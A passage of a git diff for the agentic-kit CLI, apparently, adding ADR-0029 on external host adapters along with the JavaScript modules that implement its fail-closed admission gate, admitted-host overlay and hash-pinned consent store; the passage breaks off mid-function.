`hostAdapters` included on an older `ak` (`src/lib/config.mjs`). | +| 6 | **Test pins.** ~12 assertions pinned the built-in host set directly, and the test-enforced registry↔directory parity meant a registered host with no authored About card failed CI. | **Working (wave 3, merged #148).** Host-set and default-map expectations across nine test files now derive from `managedHostIds()`/`routableHostIds()`/`primaryHostIds()`/`defaultHostMap()`, scoped to built-ins; the component-directory parity invariant is stated built-in-scoped, exempting admitted adapters until this contract graduates them. | + +## Supersession of ADR-0016's closed-registry clause + +ADR-0016 states, as a design requirement: + +> Agentic-kit remains a plain-ESM, zero-runtime-dependency CLI. Its normal operation is +> offline-first. The design must therefore be a closed, validated registry of built-in code, not +> an arbitrary third-party plugin runtime. + +and restates it in its non-goals: + +> It does not implement every provider, a public adapter SDK, or arbitrary third-party code +> loading. + +**This ADR formally supersedes that clause.** The registry is no longer exclusively built-in code: +an explicitly registered, hash-pinned, subprocess-only external adapter may be admitted into an +overlay alongside it, gated by `AK_EXPERIMENTAL_HOST_ADAPTERS=1`. Every other requirement that +clause was protecting — zero-runtime-dependency, offline-first normal operation, no dynamically +imported third-party code inside the `ak` process — remains intact and is in fact the specific +design this ADR uses to satisfy the request without reopening either property. ADR-0016 §1's +sentence "Agentic-kit does not dynamically import adapter paths from `kit.json`, npm packages, or +user directories" is superseded in the same, narrow sense: `kit.json` may now name an adapter +manifest, but nothing under that name is ever `import()`-ed — the clause's *intent* (no in-process +third-party code) is preserved even as its literal *mechanism description* (no `kit.json`-driven +external reference of any kind) is not. + +A matching one-line update-note has been added to ADR-0016 itself, pointing here. + +## Non-goals + +- **No marketplace, discovery, or naming-convention scan.** Admission is always explicit + registration by manifest path; there is no `ak-host-*` npm-tree scan, ever — that is exactly the + fail-open pattern ADR-0023 exists to prevent, and PR #131's own proposal already rejected it for + the in-process shape. +- **No code signing.** Consent is a hash pin plus explicit user confirmation, not a signature chain + or a claim of provenance beyond "this is the content the user agreed to run." +- **No in-process plugin API, now or as a later contract version.** Contract v1's ban on `import()` + of adapter-supplied code is not a bootstrapping restriction to be lifted once the mechanism + matures; it is the property "Why the mechanism changed" argues for. A future contract version may + add driving surfaces (`acp`, `mcp`) or hook verbs; it may not add in-process code execution. +- **No AQE projection, ever.** An admitted external host cannot become an `aqeProvider` at any + contract version — that field is schema-absent for the same reason `canBePrimary` and + `commandStatusline` are (§3), and AQE's own provider set is upstream's enumeration, not one `ak` + extends by admitting a host ([ADR-0028](0028-local-openai-compatible-providers.md) draws the + identical line for `local-openai`). +- **No automatic routing or seeding.** An admitted host is never auto-seeded into `routing.routes`; + it must be explicitly routed, matching [ADR-0018](0018-generalized-host-worker-execution.md)'s + existing rule that automatic seeding stays Claude/Codex subscription-only. +- **No subprocess/RPC protocol beyond the three named driving surfaces**, and no promise that `acp` + or `mcp` ship in this contract version. Re-specifying two lifecycles as a wire protocol is a + larger commitment than this ADR's evidence currently justifies. +- **No vendoring of any specific third-party adapter into this repository**, and no obligation that + agentic-kit maintainers verify, support, or track the release cadence of any host an adapter + targets. An adapter author owns their host's correctness; `ak` owns only the contract. + +## Consequences + +- A fourth (fifth, …) host CLI can be described to `ak` without a dedicated ADR, owner module, or + maintainer commitment to a CLI they may not run — at the cost of everything that host can express + being strictly less than a built-in: no in-process code, three capped fields, and admission gated + behind an explicit flag and an explicit content-hash consent. +- The gap the amended gate list closes was real independent of this ADR: items 1–5 harden the + built-in host set's own correctness (a registry-only routable-host flip, uninstall completeness, + permission authorization, attribution honesty, and unknown-key visibility) whether or not any + external adapter is ever registered. Publishing the extension point is what surfaced them; keeping + them fixed does not depend on the extension point staying enabled. +- `AK_EXPERIMENTAL_HOST_ADAPTERS` being unset is the default, and the default behavior of every + existing command is unchanged: an unset flag makes the whole surface inert, and a `hostAdapters` + key with the flag unset round-trips through `kit.json` untouched. +- A capability an external adapter cannot express (`canBePrimary`, `aqeProvider`, + `commandStatusline`) is a permanent property of contract v1, not a temporary restriction lifted at + graduation — graduation (below) freezes the *contract*, not the caps. + +## Self-graded implementation status + +Dated 2026-08-15, at Wave 4 doc-authoring time. Rows already covered by the amended gate list are +not repeated; this table grades the mechanism this ADR newly decides — the manifest, admission, +overlay, hook-runner, and consent — none of which existed as code prior to this wave. Grades: +**Working** (implemented and tested in this worktree), **Demo** (implemented, not yet under test), +**TBD** (not yet implemented as of this dating). Per the model set by ruflo's own ADR-015-v2 +practice — a self-graded status table an ADR carries at acceptance time, filled in with real +evidence as implementation lands rather than promised in prose — the lead fills in test counts and +flips remaining TBD cells at Wave 4 integration. + +| Mechanism | Grade (2026-08-15) | Evidence | +|---|---|---| +| Manifest schema (contract: 1) | TBD | Owned by the sibling contract work package; no schema module present in this worktree as of this dating. | +| Admission gate (fail-closed, per-adapter isolated) | TBD | Owned by the sibling contract work package; not present in this worktree as of this dating. | +| `AK_EXPERIMENTAL_HOST_ADAPTERS` flag gating | TBD | Not present in this worktree as of this dating; no occurrences found under `src/`. | +| Admitted-host overlay (registry-adjacent, non-mutating) | TBD | Depends on the admission gate landing first. | +| Subprocess hook-runner (`cli-subprocess` surface) | TBD | Owned by the sibling hook work package; not present in this worktree as of this dating. | +| Hash-pinned consent + edit-invalidation | TBD | Owned by the sibling hook work package; not present in this worktree as of this dating. | +| Capability-cap schema absence (§3) | TBD | Depends on the manifest schema landing first. | +| Gate item 1 — import-time invariant | **Working** | `assertBuiltinAdaptersRoutable`, one-directional since W1-B (`src/lib/execution/adapters.mjs`). | +| Gate item 2 — uninstall-through-undo | **Working** | Registry-driven `hostsWithLifecycle()` teardown loop (`src/commands/uninstall.mjs`). | +| Gate item 3 — permission authorization by host | **Working** | `projectPermissionManifest` union-across-enabled-hosts, F-04 (`src/commands/setup.mjs`). | +| Gate item 4 — attribution surfaces policy | **Working** | F-11 qe-court tagging (`src/lib/qeCourt.mjs`); `resolveHost` safe-passthrough/`unknown-host` (`src/lib/live/event-schema.mjs`); `host ?? 'unknown'` bucketing (`src/lib/usage-index.mjs`). | +| Gate item 5 — unknown-key warning | **Working** | F-14 `warnUnknownTopLevelKeys` (`src/lib/config.mjs`). | +| Gate item 6 — test pins (registry↔directory parity) | Working (wave 3, #148) | Registry-derived, built-in-scoped. | + +## Graduation gate + +Contract v1 is **experimental** for the life of the `4.0.0-alpha.*` line and remains so afterward +until it explicitly graduates. Graduation is a written, falsifiable event, not a vibe: + +1. A **real external adapter** — maintained outside this repository, by someone other than an + agentic-kit maintainer — passes the full conformance kit (the same lifecycle, execution, + ownership, and `normalizedFacts` conformance tests a built-in host is held to, run against the + external adapter's declared hooks). +2. That adapter then completes **one full release's worth of soak** in the field with no + contract-shape change required to keep it working. +3. Only once both hold does the manifest **contract integer** freeze: `contract: 1` becomes a + guaranteed-stable shape, and any subsequent breaking change to the manifest, hook verbs, or + driving-surface vocabulary ships as `contract: 2`, admitted alongside `contract: 1` rather than + replacing it outright. + +Before graduation, `contract: 1` may change between alpha releases without a version bump. That +instability is bounded, not open-ended: it exists to let the first real adapter's conformance run +surface shape problems cheaply, the same way carrying Hermes surfaced one widening and one guard for +the in-process proposal's own subprocess base. It is not a license to redesign the contract +speculatively. + +## References + +- `src/lib/adapters/registries.mjs` (`HOST_REGISTRY`, `validateHostAdapter`, `validateRegistries`), + `src/lib/adapters/lifecycle.mjs` / `lifecycle-registry.mjs` (`validateLifecycleAdapter`, + `registerBuiltinLifecycle`), `src/lib/execution/adapters.mjs` + (`assertBuiltinAdaptersRoutable`, the merge seam), `src/commands/uninstall.mjs` + (`hostsWithLifecycle()` teardown loop), `src/commands/setup.mjs` + (`projectPermissionManifest`, `removeUndisclosedPermissions`), `src/lib/config.mjs` + (`KNOWN_TOP_LEVEL_KEYS`, `warnUnknownTopLevelKeys`), `src/lib/qeCourt.mjs` (F-11 unregistered-id + tagging), `src/lib/live/event-schema.mjs` (`resolveHost`, `SAFE_HOST_ID`), `src/lib/usage-index.mjs` + (host bucketing). +- [ADR-0016](0016-capability-driven-integration-adapters.md) — the closed-registry clause this ADR + supersedes, and every capability/lifecycle/ownership/provenance contract this ADR reuses without + change. +- [ADR-0018](0018-generalized-host-worker-execution.md) — the trust-boundary section this ADR's + "no host sandboxes extension code" evidence line rests on, and the worker termination-proof + discipline the subprocess hook-runner inherits. +- [ADR-0019](0019-escalation-in-ak-run.md) — the `cli_unavailable` degradation precedent the + import-time invariant fix (gate item 1) generalizes. +- [ADR-0023](0023-fail-closed-operations-and-explicit-degradation.md) — the fail-closed-and-honest + posture the admission gate and the ban on naming-convention discovery both apply. +- [ADR-0028](0028-local-openai-compatible-providers.md) — the sibling ADR accepted from the same PR + #131, and the precedent for "accepted with corrections after review," which this ADR follows in + house style. +- `docs/HOST-ADAPTER-EXTENSION-PROPOSAL.md` — the companion document PR #131 shipped alongside its + own draft of this ADR number; §§1–2 and §5 of that document remain accurate background even though + §3's in-process mechanism is not what this ADR accepts. +- [PR #131](https://github.com/pacphi/agentic-kit/pull/131) — original proposal and its maintainer + review comment, the source of the amended gate list and the Hermes-behavior findings cited above. diff --git a/docs/adr/README.md b/docs/adr/README.md index db9cff4..29b4842 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -24,7 +24,7 @@ Consequences**, and cites the grounded source it rests on where relevant. | [0013](0013-admin-build-security-signals-and-honest-reach.md) | Admin: build/security signals, an honest Reach panel, and a pagination fix | Accepted | | [0014](0014-dashboard-auth-and-remediation.md) | Dashboard auth token, plus a security/quality remediation pass | Accepted | | [0015](0015-managed-codex-native-statusline.md) | Manage Codex's native user-wide status line without claiming rich-renderer parity | Accepted | -| [0016](0016-capability-driven-integration-adapters.md) | Capability-driven host, provider, binding, projection, and observability adapters | Accepted; compatibility amended | +| [0016](0016-capability-driven-integration-adapters.md) | Capability-driven host, provider, binding, projection, and observability adapters | Accepted; compatibility amended; closed-registry clause superseded by 0029 | | [0017](0017-opencode-host.md) | OpenCode as a managed, observable host through native surfaces | Accepted; compatibility amended | | [0018](0018-generalized-host-worker-execution.md) | Generalized host-worker execution; `ak run` canonical | Accepted; compatibility amended | | [0019](0019-escalation-in-ak-run.md) | Bounded per-worker escalation in `ak run` | Accepted; historical context closed | @@ -37,6 +37,7 @@ Consequences**, and cites the grounded source it rests on where relevant. | [0026](0026-about-component-directory.md) | About: a component directory that explains everything ak installs | Implemented | | [0027](0027-shared-project-census.md) | One project census, four scopes, every count explains itself | Implemented | | [0028](0028-local-openai-compatible-providers.md) | One generic local OpenAI-compatible provider, not a vendor enumeration | Accepted | +| [0029](0029-host-adapter-extension-point.md) | External host adapters: declarative manifest, subprocess hooks | Accepted (experimental contract) | Theme: ADRs **0001–0006** define **dual-host LLM routing and leadership** — how `ak` lets ruflo route each development activity (architecture, implementation, testing, review, …) to the right host (Claude @@ -199,3 +200,16 @@ transport) and no `aqe` (AQE's provider set is upstream's own enumeration; `olla `local-openai` deliberately is not). Proposed by community contributor adrianco in PR #131, accepted with a correction to the PR's quoted Hermes reference config, whose `api_mode: openai` is not a valid Hermes value. + +**0029** answers the same PR #131 with a different mechanism than it proposed. Where the PR asked +for an in-process ESM module loaded by `import()`, this ADR accepts a declarative manifest driving +a fixed set of consented, subprocess-only hooks — no third-party code ever runs inside the `ak` +process, gated behind `AK_EXPERIMENTAL_HOST_ADAPTERS=1`, admitted only after a hash-pinned consent +that invalidates the moment the manifest's content changes. `canBePrimary`, `aqeProvider`, and +`commandStatusline` are not fields the manifest schema accepts at all, so those three obligations +stay first-party by construction rather than by an adapter's own promise. It formally supersedes +ADR-0016's closed-registry clause, folds in the maintainer's full PR #131 gate list (import-time +routable-host invariant, uninstall-through-undo, permission authorization by host, attribution +surfaces policy, and kit.json's unknown-key warning — landed in wave 1 and Phase 0; registry↔directory +test pins remain wave 3), and stays experimental until a real external adapter clears the +conformance kit and a release of soak. diff --git a/src/commands/setup.mjs b/src/commands/setup.mjs index 829de26..a285216 100644 --- a/src/commands/setup.mjs +++ b/src/commands/setup.mjs @@ -14,7 +14,7 @@ import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; import { reconcileOpencodeGuidance } from '../lib/opencode.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { HOSTS, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, printActivityRoutingTable, aqeSupportsAgentOverrides, ensureCodexMcp, ensureRufloMcpInCodex, applySetupHostFlags, bothHostsEnabled } from '../lib/providers.mjs'; import { installedVersion } from '../lib/versions.mjs'; @@ -216,14 +216,18 @@ export async function run_machine({ flags, pkgRoot, cfg }) { // 6b. host lifecycle wiring — config-file MCP + skills, lifecycle plugin, // converted agents, platform skill (each adapter owns its own surfaces // — opencode.mjs for opencode). Registry-driven: loops - // hostsWithLifecycle() rather than naming opencode, so a second - // lifecycle host needs no new branch here. Only when the CLI is - // actually present: a declined/failed install must not leave a + // builtinHostsWithLifecycle() rather than naming opencode, so a second + // BUILT-IN lifecycle host needs no new branch here. Only when the CLI + // is actually present: a declined/failed install must not leave a // freshly-created config home behind (codex-review #4). The result // SHAPE consumed below (stack.oc/plugin/agents/skill) is still // opencode's own — the lifecycle contract doesn't mandate a common - // `apply()` result shape across hosts. - for (const hostId of hostsWithLifecycle()) { + // `apply()` result shape across hosts. builtinHostsWithLifecycle() + // (not hostsWithLifecycle()) deliberately excludes admitted external + // hosts: this loop body is opencode-shaped, and external lifecycle + // execution graduates in a later wave alongside a shape-agnostic body + // (see lifecycle-registry.mjs's registerAdmittedLifecycle comment). + for (const hostId of builtinHostsWithLifecycle()) { if (!cfg.integrations?.hosts?.[hostId]) continue; if (!(await have(hostId))) { const pkg = HOSTS.find((h) => h.id === hostId)?.pkg ?? hostId; diff --git a/src/commands/sync.mjs b/src/commands/sync.mjs index e0616b1..9f44e46 100644 --- a/src/commands/sync.mjs +++ b/src/commands/sync.mjs @@ -9,7 +9,7 @@ import { fixStatusline, helperStampStale } from '../lib/statusline.mjs'; import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { listDaemons, staleDaemons, reap } from '../lib/daemons.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { commandHosts, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, migrateRetiredRoutesInConfig, ensureCodexMcp, ensureRufloMcpInCodex, bothHostsEnabled } from '../lib/providers.mjs'; @@ -188,13 +188,15 @@ export async function run({ flags, pkgRoot, fetchLatest }) { // Runs BEFORE the blocks branch: the agents-opencode guidance target is gated // on the config home this branch creates — this order lets a fresh enable // converge guidance in the SAME sync (a second sync is then a true no-op). - // Registry-driven: loops hostsWithLifecycle() rather than naming opencode, - // so a second lifecycle host needs no new branch here. Only opencode is - // registered today, so this loop runs exactly once — byte-identical to the - // single-host branch it replaces. The result SHAPE consumed below - // (stack.oc/plugin/agents/skill) is still opencode's own — the lifecycle - // contract doesn't mandate a common `apply()` result shape across hosts. - for (const hostId of hostsWithLifecycle()) { + // Registry-driven: loops builtinHostsWithLifecycle() rather than naming + // opencode, so a second BUILT-IN lifecycle host needs no new branch here. + // Only opencode is registered today, so this loop runs exactly once — + // byte-identical to the single-host branch it replaces. The result SHAPE + // consumed below (stack.oc/plugin/agents/skill) is still opencode's own — + // the lifecycle contract doesn't mandate a common `apply()` result shape + // across hosts. builtinHostsWithLifecycle() (not hostsWithLifecycle()) + // deliberately excludes admitted external hosts — see lifecycle-registry.mjs. + for (const hostId of builtinHostsWithLifecycle()) { if (!subsystems.has(hostId) || !cfg.integrations?.hosts?.[hostId]) continue; if (!(await have(hostId))) { info(`${hostId}: enabled but CLI not installed — wiring skipped (hosts step installs it)`); diff --git a/src/commands/uninstall.mjs b/src/commands/uninstall.mjs index 251019e..721e129 100644 --- a/src/commands/uninstall.mjs +++ b/src/commands/uninstall.mjs @@ -11,7 +11,7 @@ import { stripBlock, BEGIN, BUILTIN_BLOCKS } from '../lib/blocks.mjs'; import { unregister } from '../lib/mcp.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { present as rbPresent } from '../lib/ruvnet-brain.mjs'; import * as paths from '../lib/paths.mjs'; import { ok, warn, info } from '../lib/output.mjs'; @@ -131,8 +131,12 @@ export async function run({ flags }) { // artifact removal independent of that), so this call is unconditional per // host — the only kit-side gate is "did anything actually happen", to // avoid a no-op teardown line (and a needless kit.json rewrite) on a host - // that was never enabled. - for (const hostId of hostsWithLifecycle()) { + // that was never enabled. builtinHostsWithLifecycle() (not + // hostsWithLifecycle()) deliberately excludes admitted external hosts: + // this loop body destructures an opencode-shaped result (ret.undo, + // ret.artifacts) — see lifecycle-registry.mjs's registerAdmittedLifecycle + // comment for why external lifecycle execution isn't wired through here yet. + for (const hostId of builtinHostsWithLifecycle()) { const adapter = lifecycleAdapterFor(hostId); if (dry) { info(`[dry-run] stripped ak-managed ${hostId} wiring + artifacts (opencode.json, plugin, agents, skill)`); diff --git a/src/lib/adapters/admission.mjs b/src/lib/adapters/admission.mjs new file mode 100644 index 0000000..a35d812 --- /dev/null +++ b/src/lib/adapters/admission.mjs @@ -0,0 +1,190 @@ +// Fail-closed admission gate for externally-sourced host-adapter manifests +// (Adapter Contract Dossier). admitAdapters walks cfg.hostAdapters and, for +// each entry, validates the manifest, verifies its declared contract is one +// this version supports, and checks a canonicalized content hash against an +// injected consent store — never prompting interactively itself. Per-entry +// isolation: one bad adapter is refused in place and never affects any other +// entry or the built-in registries (try/caught per entry, in admitOne AND as +// a belt-and-suspenders net in admitAdapters). +import { createHash } from 'node:crypto'; +import { HOST_REGISTRY } from './registries.mjs'; +import { validateAdapterManifest } from './manifest.mjs'; + +export const SUPPORTED_CONTRACT = 1; + +/** Deterministic, key-sorted JSON — same stable-stringify shape used + * elsewhere in this codebase (e.g. opencode.mjs's deepEqual) so two manifests + * that differ only in key order or incidental whitespace hash identically. + * The sort comparator is a plain code-unit compare, NOT localeCompare: with + * localeCompare, key order (and therefore the hash) could shift across + * locales (e.g. en_US vs sv_SE collation), so a CI runner or container with + * a different locale than where consent was recorded could see a bogus + * consent-stale refusal for a manifest that never actually changed. */ +export function canonicalizeManifest(value) { + return JSON.stringify(value, (_key, val) => ( + val && typeof val === 'object' && !Array.isArray(val) + ? Object.fromEntries(Object.entries(val).sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0))) + : val + )); +} + +export function hashManifest(value) { + return createHash('sha256').update(canonicalizeManifest(value)).digest('hex'); +} + +const builtinIds = () => new Set(HOST_REGISTRY.map((host) => host.id)); + +async function admitOne(entry, { readManifest, consent, builtins }) { + const name = entry?.name; + if (typeof name !== 'string' || !name) { + return { name: name ?? '(unknown)', admitted: false, reason: 'invalid-entry', detail: 'cfg.hostAdapters entry requires a name' }; + } + if (typeof entry.source !== 'string' || !entry.source) { + return { name, admitted: false, reason: 'invalid-entry', detail: 'cfg.hostAdapters entry requires a source' }; + } + + let raw; + try { + raw = await readManifest(entry.source); + } catch (error) { + return { name, admitted: false, reason: 'manifest-unreadable', detail: error?.message ?? String(error) }; + } + + // cfg's own pinned contract (if declared) disagreeing with the manifest's + // self-declared contract is a distinct failure from "unsupported version" — + // it means the operator pinned to a manifest that changed underneath them. + if (entry.contract !== undefined && raw?.contract !== undefined && entry.contract !== raw.contract) { + return { + name, admitted: false, reason: 'contract-mismatch', + detail: `cfg declares contract ${entry.contract}, manifest declares ${raw.contract}`, + }; + } + + let manifest; + try { + manifest = validateAdapterManifest(raw); + } catch (error) { + return { name, admitted: false, reason: error?.reason ?? 'manifest-invalid', detail: error?.message ?? String(error) }; + } + + if (manifest.contract !== SUPPORTED_CONTRACT) { + return { name, admitted: false, reason: 'contract-version', detail: `unsupported contract ${manifest.contract}` }; + } + + if (manifest.host.id !== name) { + return { name, admitted: false, reason: 'name-mismatch', detail: `cfg entry '${name}' does not match manifest host id '${manifest.host.id}'` }; + } + + if (builtins.has(manifest.host.id)) { + return { name, admitted: false, reason: 'builtin-shadow', detail: `'${manifest.host.id}' is a built-in host id` }; + } + + const hash = hashManifest(manifest); + let recorded; + try { + recorded = consent.recordedHashFor(name); + } catch (error) { + return { name, admitted: false, reason: 'consent-error', detail: error?.message ?? String(error) }; + } + if (recorded == null) { + return { name, admitted: false, reason: 'consent-required', detail: `no recorded consent for '${name}'` }; + } + + let trusted; + try { + trusted = consent.isTrusted(name, hash); + } catch (error) { + return { name, admitted: false, reason: 'consent-error', detail: error?.message ?? String(error) }; + } + if (!trusted || recorded !== hash) { + return { name, admitted: false, reason: 'consent-stale', detail: `manifest hash ${hash} does not match consented ${recorded}` }; + } + + return { name, admitted: true, entry: manifest.host, manifest }; +} + +/** + * @param {{ cfg: any, readManifest: (source: string) => Promise, + * consent: { recordedHashFor(name: string): string|null, isTrusted(name: string, hash: string): boolean } }} args + * @returns {Promise>} + */ +export async function admitAdapters({ cfg, readManifest, consent }) { + const entries = Array.isArray(cfg?.hostAdapters) ? cfg.hostAdapters : []; + const builtins = builtinIds(); + const results = []; + // Sequential, not Promise.all: entries are independent, but sequential + // admission keeps refusal isolation trivial to reason about (and cfg's + // adapter counts are small — this is not a hot loop). + for (const entry of entries) { + try { + results.push(await admitOne(entry, { readManifest, consent, builtins })); + } catch (error) { + // Belt-and-suspenders: admitOne already catches every known failure + // point, but an unforeseen throw must still isolate to this one entry. + results.push({ name: entry?.name ?? '(unknown)', admitted: false, reason: 'admission-error', detail: error?.message ?? String(error) }); + } + } + return results; +} + +async function defaultReadManifest(source) { + const fs = await import('node:fs/promises'); + const raw = await fs.readFile(source, 'utf8'); + return JSON.parse(raw); +} + +/** + * CLI bootstrap entry point — the only call site production code needs + * (`bootstrapHostAdapters({cfg, env})`, wired from bin/agentic-kit.mjs). + * Everything is guarded and non-fatal: with the flag unset or no configured + * adapters, this returns immediately with zero side effects (no dynamic + * import, no filesystem read, no admission work) — the flag-off no-op is + * pinned by a test. `readManifest`/`consent` are optional injection points + * for tests; production relies on the defaults (a plain fs+JSON.parse reader, + * and a dynamic import of the sibling consent store in ./consent.mjs). + * @param {{ cfg?: any, env?: NodeJS.ProcessEnv, readManifest?: (source: string) => Promise, + * consent?: { recordedHashFor(name: string): string|null, isTrusted(name: string, hash: string): boolean } }} [args] + */ +export async function bootstrapHostAdapters({ + cfg, env = process.env, readManifest = defaultReadManifest, consent, +} = {}) { + if (env?.AK_EXPERIMENTAL_HOST_ADAPTERS !== '1') return { active: false, admitted: [], warnings: [] }; + const entries = Array.isArray(cfg?.hostAdapters) ? cfg.hostAdapters : []; + if (entries.length === 0) return { active: false, admitted: [], warnings: [] }; + + let consentStore = consent; + if (!consentStore) { + try { + // Sibling-owned module (consent.mjs); dynamic so this file loads even + // before it lands, and so tests never pay for it unless they choose to. + // consent.mjs exports recordedHashFor/isTrusted as plain named + // functions (no wrapper object) — the module namespace itself already + // satisfies {recordedHashFor(name), isTrusted(name,hash)}; the + // consentStore/default fallbacks are just tolerance for a future + // reshape, not the shape it ships today. + // Cast to `any`: consent.mjs's real, current shape has neither + // `consentStore` nor `default` — the fallback chain below is tolerance + // for a future reshape (see the comment above), not today's actual + // module namespace type, so a literal type there would just be wrong. + const mod = /** @type {any} */ (await import('./consent.mjs')); + consentStore = mod.consentStore ?? mod.default ?? mod; + } catch (error) { + const warnings = entries.map((raw) => ({ + name: raw?.name ?? '(unknown)', reason: 'consent-unavailable', detail: error?.message ?? String(error), + })); + return { active: true, admitted: [], warnings }; + } + } + + const results = await admitAdapters({ cfg, readManifest, consent: consentStore }); + const admitted = results.filter((result) => result.admitted); + const warnings = results.filter((result) => !result.admitted) + .map(({ name, reason, detail }) => ({ name, reason, detail })); + + if (admitted.length) { + const { applyAdmitted } = await import('./admitted.mjs'); + applyAdmitted(admitted); + } + + return { active: true, admitted, warnings }; +} diff --git a/src/lib/adapters/admitted.mjs b/src/lib/adapters/admitted.mjs new file mode 100644 index 0000000..21838fe --- /dev/null +++ b/src/lib/adapters/admitted.mjs @@ -0,0 +1,64 @@ +// Overlay holding admitted external host entries — set once per process by +// bootstrapHostAdapters (admission.mjs) after admitAdapters has already +// refused any entry that would collide with a built-in id. This module does +// NOT re-check the built-in-shadow invariant; it trusts admission's output +// for that. It DOES, however, re-run every stored entry through +// validateHostAdapter (registries.mjs) before accepting it — see +// conformOne below. +import { HOST_REGISTRY, validateHostAdapter } from './registries.mjs'; + +let admittedEntries = Object.freeze([]); +let applied = false; + +/** + * Minimal shape gate + deep-freeze for one overlay entry, by re-running it + * through validateHostAdapter with no projections/observability maps + * injected (so only structural shape — not registry cross-references — is + * re-verified). In the real bootstrapHostAdapters path this is always a + * no-op pass-through: admitAdapters already produced `entry` by calling + * validateHostAdapter once, inside validateAdapterManifest, so re-running it + * here just re-derives an equally-valid, equally-frozen clone. It exists so + * a caller that bypasses admission entirely — a bug, a future refactor, or a + * raw object handed to applyAdmitted directly — gets a loud construction-time + * TypeError instead of an unvalidated, possibly-privileged-looking entry + * (e.g. `{id, capabilities:{canBePrimary:true}}`) silently joining + * effectiveHostRegistry(). applyAdmitted only accepts genuine admission + * output; anything else is rejected, never silently coerced. + * @param {any} item — a raw host entry, or an admission result `{entry}` + */ +function conformOne(item) { + return validateHostAdapter(item?.entry ?? item); +} + +/** + * Set the admitted overlay. Accepts either raw host entries or admission + * results ({name, admitted, entry, manifest}) — whichever admitAdapters + * handed back — validates + deep-freezes the host entry from each (throws on + * a non-conforming entry), and stores the result. A second call replaces the + * overlay outright (useful for tests via resetAdmitted()); production calls + * this at most once per process since the env flag gates it. + * @param {ReadonlyArray} entries + */ +export function applyAdmitted(entries) { + admittedEntries = Object.freeze((entries ?? []).map(conformOne)); + applied = true; + return admittedEntries; +} + +/** Test-only reset back to the unapplied, builtins-only state. */ +export function resetAdmitted() { + admittedEntries = Object.freeze([]); + applied = false; +} + +export function admittedHostIds() { + return admittedEntries.map((entry) => entry.id); +} + +/** Built-ins + admitted externals, both frozen. Returns HOST_REGISTRY itself + * (same reference) when nothing has been admitted, so callers that never + * opt into the experimental flag see byte-identical behavior. */ +export function effectiveHostRegistry() { + if (!applied || admittedEntries.length === 0) return HOST_REGISTRY; + return Object.freeze([...HOST_REGISTRY, ...admittedEntries]); +} diff --git a/src/lib/adapters/consent.mjs b/src/lib/adapters/consent.mjs new file mode 100644 index 0000000..a26b94b --- /dev/null +++ b/src/lib/adapters/consent.mjs @@ -0,0 +1,91 @@ +// Hash-pinned adapter trust store (Codex-hooks/Hermes-allowlist precedent). +// A JSON map of adapter name -> { hash, consentedAt } under the kit config +// dir. Edit-invalidation is inherent: change an adapter's hook command and +// its hash changes, so `isTrusted` fails closed until consent is re-granted. +// +// No interactive prompting lives here — consent is GRANTED elsewhere (a +// future `ak host adapters trust ` command). `recordConsent` is the +// programmatic seam that command will call. +import fs from 'node:fs'; +import path from 'node:path'; +import { configDir } from '../paths.mjs'; + +export const adapterConsentPath = () => path.join(configDir(), 'adapter-consent.json'); + +function readStore(file) { + let raw; + try { + raw = fs.readFileSync(file, 'utf8'); + } catch { + return {}; + } + try { + const parsed = JSON.parse(raw); + return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : {}; + } catch { + return {}; + } +} + +/** Atomic tmp+rename write at 0600, matching the rest of the kit's + * user-owned config writes (live/process-sessions.mjs's WorkspaceSnapshotStore). */ +function writeStore(file, store) { + fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 }); + const tmp = `${file}.${process.pid}.${Date.now()}.tmp`; + let renamed = false; + try { + fs.writeFileSync(tmp, `${JSON.stringify(store, null, 2)}\n`, { mode: 0o600 }); + fs.renameSync(tmp, file); + renamed = true; + } finally { + if (!renamed) { + try { fs.rmSync(tmp, { force: true }); } catch { /* cleanup must not mask the write error */ } + } + } + try { fs.chmodSync(file, 0o600); } catch { /* best-effort on platforms without POSIX perms */ } +} + +function validEntry(value) { + return !!value && typeof value === 'object' + && typeof value.hash === 'string' && value.hash.length > 0 + && typeof value.consentedAt === 'string' && Number.isFinite(Date.parse(value.consentedAt)); +} + +/** The hash this adapter was last consented to, or null if never recorded + * (or the file is missing/unreadable/corrupt — this never throws). */ +export function recordedHashFor(name, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) return null; + const entry = readStore(file)[name]; + return validEntry(entry) ? entry.hash : null; +} + +/** True only on an exact hash match against the recorded consent. Any + * mismatch — including "never consented" — is untrusted. */ +export function isTrusted(name, hash, { file = adapterConsentPath() } = {}) { + if (typeof hash !== 'string' || !hash) return false; + const recorded = recordedHashFor(name, { file }); + return recorded !== null && recorded === hash; +} + +/** Record consent for `name` at `hash`, overwriting any prior entry. */ +export function recordConsent(name, hash, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) throw new TypeError('recordConsent requires an adapter name'); + if (typeof hash !== 'string' || !hash) throw new TypeError('recordConsent requires a hash'); + const store = readStore(file); + store[name] = { hash, 